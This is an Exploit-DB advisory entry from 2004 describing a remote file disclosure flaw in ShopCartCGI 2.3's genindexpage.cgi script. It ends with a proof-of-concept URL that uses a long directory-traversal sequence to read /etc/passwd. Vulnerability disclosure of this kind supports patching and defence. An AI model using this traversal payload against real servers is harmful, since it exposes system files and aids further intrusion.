ShopCartCGI 2.3 - genindexpage.cgi Traversal Arbitrary File Access

EDB-ID:

23706


Author:

G00db0y

Type:

webapps


Platform:

CGI

Date:

2004-02-16


source: https://www.securityfocus.com/bid/9670/info
 
It has been reported that ShopcartCGI is prone to a remote file disclosure vulnerability. This issue is due to insufficient validation of user-supplied input.
 
Upon successful exploitation of this issue an attacker may be able to gain access to sensitive system files, potentially facilitating further attacks.

http://www.example.com/directory/genindexpage.cgi?13687+Home+/../../../../../../../../../../../../../../../../etc/passwd